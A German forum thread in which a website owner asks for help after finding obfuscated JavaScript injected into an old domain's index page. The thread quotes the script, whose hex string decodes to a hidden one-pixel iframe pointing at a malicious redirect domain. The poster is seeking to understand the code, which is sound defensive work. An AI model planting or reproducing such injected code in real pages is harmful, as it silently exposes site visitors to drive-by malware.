Aiuch bei mir Hacker am Werk gewesen?

[TTlong]

Hallo,

ich hab da heute mal so durch mein Domainprotfolio geguckt und die eine oder andere uralte Domain entdeckt.

Auf einer Seite davon stand in der Statusleiste:

QUOTE Auf www.robotraff.com wird gewartet


Ein Grund für mich, mir den Quelltext mal etwas näher anzuschauen. Was ich da gefunden hatte, kommt mir doch sehr spanisch vor:

Gekürzter Auszug:


QUOTE <script type="text/javascript">
function F9F10F3CACC3CD9E77FA04(E0B85283E0CF654853FC1D75E){return(parseInt(E0B85283E0CF654853FC1D75E,16));}function CE5C7ED19B751AB3FABB77EDECB37F2(AEC0BC72D9EAA1FFA473B){function C9BC51A3D315E89ADAE7(){return 2;}var AAF2D37F4F635381D892361A73D="";for(FB74BEF3AE4A535220=0;FB74BEF3AE4A535220<AEC0BC72D9EAA1FFA473B.length;FB74BEF3AE4A535220+=C9BC51A3D315E89ADAE7()){AAF2D37F4F635381D892361A73D+=(String.fromCharCode(F9F10F3CACC3CD9E77FA04("3C696672616D65207372633D687474703A2F2F726F626F74726166662E636F6D2F7464732E7068703F74683D34342077696474683D31206865696768743D31207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E"
</script><script type="text/javascript">
function F9F10F3CACC3CD9E77FA04(E0B85283E0CF654853FC1D75E){return(parseInt(E0B85283E0CF654853FC1D75E,16));}function CE5C7ED19B751AB3FABB77EDECB37F2(AEC0BC72D9EAA1FFA473B){function C9BC51A3D315E89ADAE7(){return 2;}var AAF2D37F4F635381D892361A73D="";for(FB74BEF3AE4A535220=0;FB74BEF3AE4A535220<AEC0BC72D9EAA1FFA473B.length;FB74BEF3AE4A535220+=C9BC51A3D315E89ADAE7()){AAF2D37F4F635381D892361A73D+=(String.fromCharCode(F9F10F3CACC3CD9E77FA04(AEC0BC72D9EAA1FFA473B.substr(FB74BEF3AE4A535220,C9BC51A3D315E89ADAE7()))));}document.write(AAF2D37F4F635381D892361A73D);}CE5C7ED19B751AB3FABB77EDECB37F2("
</script>


Da hat wohl jemand JavaScript in meine Index eingeschleust. Bin bei dem Hoster eigentlich mit wichtigen Projekten weg, weil es in den letzten Jahren dort immer und immer wieder Hacker geschafft hatten, iFrames in unzählige Index-Dokumente einzuspielen. Diesmal ist es scheinbar JavaScript.

Bin auf diesem Gebiet leider kein Experte, wüsste aber gern, was dieser Code hätte anrichten können.

Wenn also jemand was weiss, würd ich mich über ne Antwort freuen.


Gruß TTlong

 

[Alain Aubert]

Ich würd als erstes mal ne textarea um das script spannen und schauen, was es so ausprintet...
Oder im Firefox Ctrl-a und view selected source

 

[TTlong]

Mit ner Textarea drum passiert nix, wird nur der Code an sich ausgegeben. Hab nochmal bisschen weiter geschaut, nach Beobachtung der Statusleiste wird zB auch mit s.u4ads[punkt]cn verbunden, dort steht dann:

ai siktir vee?

Was auch immer das heissen mag. Danach gegooglet findet man heraus, dass es sich wohl um DDoS Attacken oder Malware-Müll handelt (my english is very bad).

Leider sind die Seiten nicht in irgendeinem leserlichen Zustand, nur bruchstückhaft findet man etwas englisches dazu.